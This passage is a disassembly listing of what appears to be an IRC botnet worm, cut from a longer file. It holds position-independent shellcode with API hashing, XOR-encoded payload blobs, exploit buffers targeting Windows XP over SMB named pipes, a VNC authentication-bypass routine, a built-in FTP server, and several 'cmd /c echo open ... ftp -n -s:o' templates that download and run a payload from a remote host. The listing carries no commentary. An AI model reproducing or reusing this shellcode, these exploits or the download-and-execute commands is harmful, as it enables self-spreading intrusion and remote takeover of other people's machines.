[ebx-3], 1 popa retn sub_432535 endp ; =============== S U B R O U T I N E ======================================= sub_43256C proc near ; CODE XREF: sub_432470+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_43256C endp ; =============== S U B R O U T I N E ======================================= sub_432582 proc near ; CODE XREF: sub_432470+16p ; sub_432470+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_432598: ; CODE XREF: sub_432582+33j jecxz short loc_4325D2 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_4325A5: ; CODE XREF: sub_432582+2Dj lodsb cmp al, ah jz short loc_4325B1 ror edi, 0Dh add edi, eax jmp short loc_4325A5 ; --------------------------------------------------------------------------- loc_4325B1: ; CODE XREF: sub_432582+26j cmp edi, [esp+20h+arg_0] jnz short loc_432598 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_4325D2: ; CODE XREF: sub_432582:loc_432598j ; sub_432582:loc_4325D2j jmp short loc_4325D2 sub_432582 endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= sub_4325D8 proc near ; DATA XREF: .packed:0040D309o arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_43262A mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_4325F5: ; CODE XREF: sub_4325D8+38j jecxz short loc_432625 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_432600: ; CODE XREF: sub_4325D8+32j lodsb test al, al jz short loc_43260C ror edx, 0Dh add edx, eax jmp short loc_432600 ; --------------------------------------------------------------------------- loc_43260C: ; CODE XREF: sub_4325D8+2Bj cmp edx, [esp+arg_0] jnz short loc_4325F5 mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_432625: ; CODE XREF: sub_4325D8:loc_4325F5j mov [esp+arg_0], ebx retn sub_4325D8 endp ; =============== S U B R O U T I N E ======================================= sub_43262A proc near ; CODE XREF: sub_4325D8+7p ; FUNCTION CHUNK AT 00432662 SIZE 00000008 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_432643 mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_43264E ; --------------------------------------------------------------------------- loc_432643: ; CODE XREF: sub_43262A+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_43264E: ; CODE XREF: sub_43262A+14j pop edi xor esi, esi pusha push esi jmp short loc_432662 sub_43262A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_432655 proc near ; CODE XREF: sub_43262A:loc_432662p push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_432655 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43262A loc_432662: ; CODE XREF: sub_43262A+29j call sub_432655 loc_432667: ; DATA XREF: sub_40CADA+320o add [eax+0], ah ; END OF FUNCTION CHUNK FOR sub_43262A ; --------------------------------------------------------------------------- dw 0 dword_43266C dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADA+2F5o dword_432678 dd 30h ; DATA XREF: sub_40CADA+2CAo dword_43267C dd 0A1h ; DATA XREF: sub_40CADA+29Fo dword_432680 dd 3 ; DATA XREF: sub_40CADA+246o aCccc db 'CCCC',0 ; DATA XREF: sub_40CADA+153o align 4 loc_43268C: ; DATA XREF: sub_40CADA+E8o jmp short near ptr dword_432694 ; --------------------------------------------------------------------------- db 6 dup(90h) dword_432694 dd 0 ; CODE XREF: .packed:loc_43268Cj aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: .packed:0040D330o db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 10h dword_432700 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: sub_40D99B+2B0o ; --------------------------------------------------------------------------- loc_43270C: ; CODE XREF: .packed:00432716j xor dword ptr [ebx+13h], 6AD31EBBh sub ebx, 0FFFFFFFCh loop loc_43270C inc edi jz short loc_432753 and eax, 952CE753h inc esp jle short loc_43277B push es lahf cmp bl, [eax+2Fh] xchg edx, [ebp+1FC36FAFh] cmp al, 0E1h ; --------------------------------------------------------------------------- dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h ; --------------------------------------------------------------------------- lahf cmps byte ptr ss:[esi], byte ptr es:[edi] loc_432753: ; CODE XREF: .packed:00432719j mov [eax], esi inc ecx imul dword ptr [ebx+50h] js short near ptr loc_4327B2+1 lock xchg ax, bp ; --------------------------------------------------------------------------- dw 768Ch dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh dd 0C7CF6E30h ; --------------------------------------------------------------------------- loc_432778: ; CODE XREF: .packed:004327A5j xor [esi-25h], bl loc_43277B: ; CODE XREF: .packed:00432721j xor al, 0D3h nop popf db 64h push edi dec esi sub al, 0BCh mov al, ch mov ch, 39h fnsave byte ptr [esi-20h] pop eax shr dword ptr [ecx-60h], cl pop eax in al, 4Ah sub al, 0BAh loc_432794: ; CODE XREF: .packed:004327C7j rcl ebp, cl db 3Eh xchg eax, esi or byte ptr [esi+2Ch], 0BCh in al, 97h db 36h or al, 3Ah rep fld tbyte ptr [eax-12h] jz short loc_432778 xchg eax, ebp imul esi, [esi+0Ah], 63h dec esi mov bl, 84h xchg eax, ebp insd dec ebp loc_4327B2: ; CODE XREF: .packed:00432759j cmp byte ptr [ecx], 0E8h dec ebp nop cmp eax, edi dec ebp sub al, 0BAh fnsave byte ptr [esi-2Dh] paddusw mm1, qword ptr [ebp+5Ah] mov ebp, [esi] jbe short loc_43283E jo short loc_432794 fld dword ptr [ebp+edx*4+3BC3746Dh] out dx, al loope near ptr loc_4327D5+1 add bl, [edi] loc_4327D5: ; CODE XREF: .packed:004327D1j mov bl, 0FDh sub esp, 0FFFFFFE1h add eax, 3E1EE39h add bl, [esi+57h] push ebp and ebp, esp loope near ptr loc_4327EA+2 cmp ch, bh dec edx loc_4327EA: ; CODE XREF: .packed:004327E5j xchg dl, [ebp-72447295h] retn 0AAD8h ; --------------------------------------------------------------------------- db 3Dh dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh dd 3B864FEAh, 0C7BBCE44h, 391D1B62h db 44h, 0C8h ; --------------------------------------------------------------------------- loc_43283E: ; CODE XREF: .packed:004327C5j mov ecx, 2C294495h mov edx, 0E92F4930h jg short loc_4328C4 sub al, 0BCh jmp near ptr 54452C32h ; --------------------------------------------------------------------------- db 0D0h, 33h, 0Ah dd 9505E1E8h, 6AD31E6Bh, 0 dword_432860 dd 0EFFFC481h, 44FFFFh, 4328ACh ; DATA XREF: sub_40D99B+297o dword_43286C dd 42Ah ; DATA XREF: sub_40D99B+24Ar dword_432870 dd 3E8h ; DATA XREF: sub_40D99B+2BBr dword_432874 dd 258h ; DATA XREF: sub_40D99B+28Dr byte_432878 db 1 ; DATA XREF: sub_40D99B+1F6r ; sub_40D99B+2C4r align 4 dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)" dd 2C6h, 264h, 0 dd 1 dword_432890 dd 20804h ; DATA XREF: sub_40D89Fr ; sub_40D99B+2E2o ... aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: .packed:0043287Co align 4 dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h dd 532D3050h ; --------------------------------------------------------------------------- loc_4328C4: ; CODE XREF: .packed:00432848j push eax xor al, 29h loc_4328C7: ; DATA XREF: sub_40D99B+21Eo add bl, ch add al, [eax] ; --------------------------------------------------------------------------- db 0 align 10h dword_4328D0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: sub_40D99B+14Eo dword_4328E4 dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: sub_40D99B+F2o aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: sub_40D99B+81o align 4 aSIpc db '\\%s\ipc$',0 ; DATA XREF: sub_40D99B+33o align 4 aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_40DEA0+92o ; sub_40DFE2+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 dword_43298C dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D0+5Ao dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h) dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h) dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh dd 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 10h aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: .packed:0040E40Co align 10h aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: .packed:0040E299o align 10h word_433BD0 dw 1 ; DATA XREF: .packed:0040E210r align 4 dword_433BD4 dd 2E646D63h, 657865h ; DATA XREF: sub_40E503+130o ; sub_419C64+21o aEchoOpenSDOEch db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o' ; DATA XREF: sub_40E6EF+23Eo db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40E991+5F2o a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 ; DATA XREF: sub_40E991+5D1o align 4 aFtpTransferCom db 'ftp transfer complete to: %s',0 ; DATA XREF: sub_40E991+580o align 4 a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40E991+56Co aFtpTransferSta db 'ftp transfer started to: %s',0 ; DATA XREF: sub_40E991+522o a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 ; DATA XREF: sub_40E991+4F7o align 4 aRetr db 'RETR',0 ; DATA XREF: sub_40E991+4DFo align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40E991+4CFo align 4 aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_40E991+4BEo aXX db '%x%x',0Ah,0 ; DATA XREF: sub_40E991+48Bo align 4 aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40E991+447o db ']',0 aPort db 'PORT',0 ; DATA XREF: sub_40E991+40Eo align 4 a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40E991+3E0o align 10h aList_0 db 'LIST',0 ; DATA XREF: sub_40E991+3CDo align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 ; DATA XREF: sub_40E991+395o align 4 aPasv db 'PASV',0 ; DATA XREF: sub_40E991+382o align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40E991+372o aI_0: ; DATA XREF: sub_40E991+35Eo ; .packed:00438338o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40E991+33Bo aA_0: ; DATA XREF: sub_40E991+327o ; .packed:00438344o unicode 0, <A>,0 aType db 'TYPE',0 ; DATA XREF: sub_40E991:loc_40EC9Ao align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40E991+2FEo align 4 off_433E24 dd offset dword_445750 ; DATA XREF: sub_40E991+2EAo a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40E991+2DDo align 4 aRest db 'REST',0 ; DATA XREF: sub_40E991+2C9o align 4 a215Stnyftpd db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_40E991+2BCo align 4 aSyst db 'SYST',0 ; DATA XREF: sub_40E991+2A8o align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40E991+29Bo align 4 aPass db 'PASS',0 ; DATA XREF: sub_40E991+287o align 4 a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_40E991+277o align 4 aUser_1 db 'USER',0 ; DATA XREF: sub_40E991+262o align 4 aSS_0 db '%s %s',0 ; DATA XREF: sub_40E991+251o align 4 a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40E991+1C9o align 4 unk_433EBC db 2Dh ; - ; DATA XREF: sub_40F0D5+3F8o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerFailedRe db ' server failed, returned %d',0 asc_433EE4 db 0Dh,0Ah,0 ; DATA XREF: sub_40F0D5+2CFo ; sub_41A4D1+F5o align 4 aGet_0 db 'GET ',0 ; DATA XREF: sub_40F0D5+269o align 10h aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+F7o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 10h aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+D4o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40F530+98o ; sub_41AA42+1AEo align 4 aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F530+84o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40F530:loc_40F596o align 4 aTextHtml db 'text/html',0 ; DATA XREF: sub_40F530+5Fo align 4 unk_434104 db 2Dh ; - ; DATA XREF: sub_40F6B3+296o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_37 db ' failed to start worker thread, error %d',0 align 4 unk_43413C db 2Dh ; - ; DATA XREF: sub_40F6B3+212o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aWorkerThreadOf db ' worker thread of server thread: %d.',0 align 10h asc_434170: ; DATA XREF: sub_40F6B3+15Ao unicode 0, <*>,0 aS_5 db '\%s',0 ; DATA XREF: sub_40F6B3+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+652o align 10h aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+637o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 4 aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_40F96A+61Co align 4 a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+58Do align 4 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96A+571o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FE92o align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96A+521o align 4 aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96A+46Eo align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+42Fo align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96A+3F9o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FD24o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96A+3B3o align 4 aSS_1 db '%s%s/',0 ; DATA XREF: sub_40F96A+36Co align 4 aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+328o ; sub_40F96A+496o db '<TD WIDTH="%d"><A HREF="',0 align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_40F96A+310o align 10h aS_0 db '<%s>',0 ; DATA XREF: sub_40F96A+2E9o ; sub_40F96A+40Bo align 4 a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96A+2BFo aAm db 'AM',0 ; DATA XREF: sub_40F96A+295o align 4 aPm db 'PM',0 ; DATA XREF: sub_40F96A+28Ao align 10h a__ db '..',0 ; DATA XREF: sub_40F96A+237o align 4 aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+1C5o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+149o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+12Do db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+F9o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96A+AEo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 10h aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_40F96A+79o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 10h aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DB+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_434618 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_4101FC+171o aServerFailed_0 db '- server failed, returned %d',0 align 4 aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_4101FC+116o dword_43465C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_4101FC+BBo aClientConnecti db '- client connection from %s:%d.',0 unk_434688 db 2Dh ; - ; DATA XREF: sub_4103AA+15Eo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToSta_38 db 'Failed to start client thread, error: <%d>.',0 unk_4346C4 db 2Dh ; - ; DATA XREF: sub_4103AA+E9o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_43470C db 2Dh ; - ; DATA XREF: sub_41053B+1AAo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aFailedToSta_39 db 'Failed to start connection thread, error: <%d>.',0 unk_43474C db 2Dh ; - ; DATA XREF: sub_41053B+E1o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0 align 10h unk_434790 db 2Dh ; - ; DATA XREF: sub_4107BF+1E9o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedOutS db '- User logged out: <%s@%s>.',0 align 4 unk_4347BC db 2Dh ; - ; DATA XREF: sub_4107BF+1C2o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorSessionru db '- Error: SessionRun(): <%d>.',0 align 4 unk_4347E8 db 2Dh ; - ; DATA XREF: sub_4107BF+1A2o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedInS@ db '- User logged in: <%s@%s>.',0 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: sub_4107BF+172o align 4 unk_434824 db 2Dh ; - ; DATA XREF: sub_4107BF+E1o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorGetpeerna db '- Error: getpeername(): <%d>.',0 align 10h unk_434850 db 2Dh ; - ; DATA XREF: sub_4109C4:loc_410A09o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aProtocolString db '- Protocol string too long.',0 align 4 unk_43487C db 2Dh ; - ; DATA XREF: sub_410A1E+1Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aLoginRejectedR db '- Login rejected, Remote user: <%s@%s>.',0 align 4 unk_4348B4 db 2Dh ; - ; DATA XREF: sub_410A4D+219o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorServerFai db '- Error: server failed, returned: <%d>.',0 align 4 unk_4348EC db 2Dh ; - ; DATA XREF: sub_410A4D+1FBo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_40 db '- Failed to start client thread, error: <%d>.',0 align 4 unk_434928 db 2Dh ; - ; DATA XREF: sub_410A4D+177o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aClientConnec_2 db '- Client connection from IP: %s:%d, Server thread: %d.',0 unk_43496C db 2Dh ; - ; DATA XREF: sub_410A4D+106o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aReadyAndWaitin db '- Ready and waiting for incoming connections.',0 align 4 unk_4349A8 db 2Dh ; - ; DATA XREF: sub_410A4D+70o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 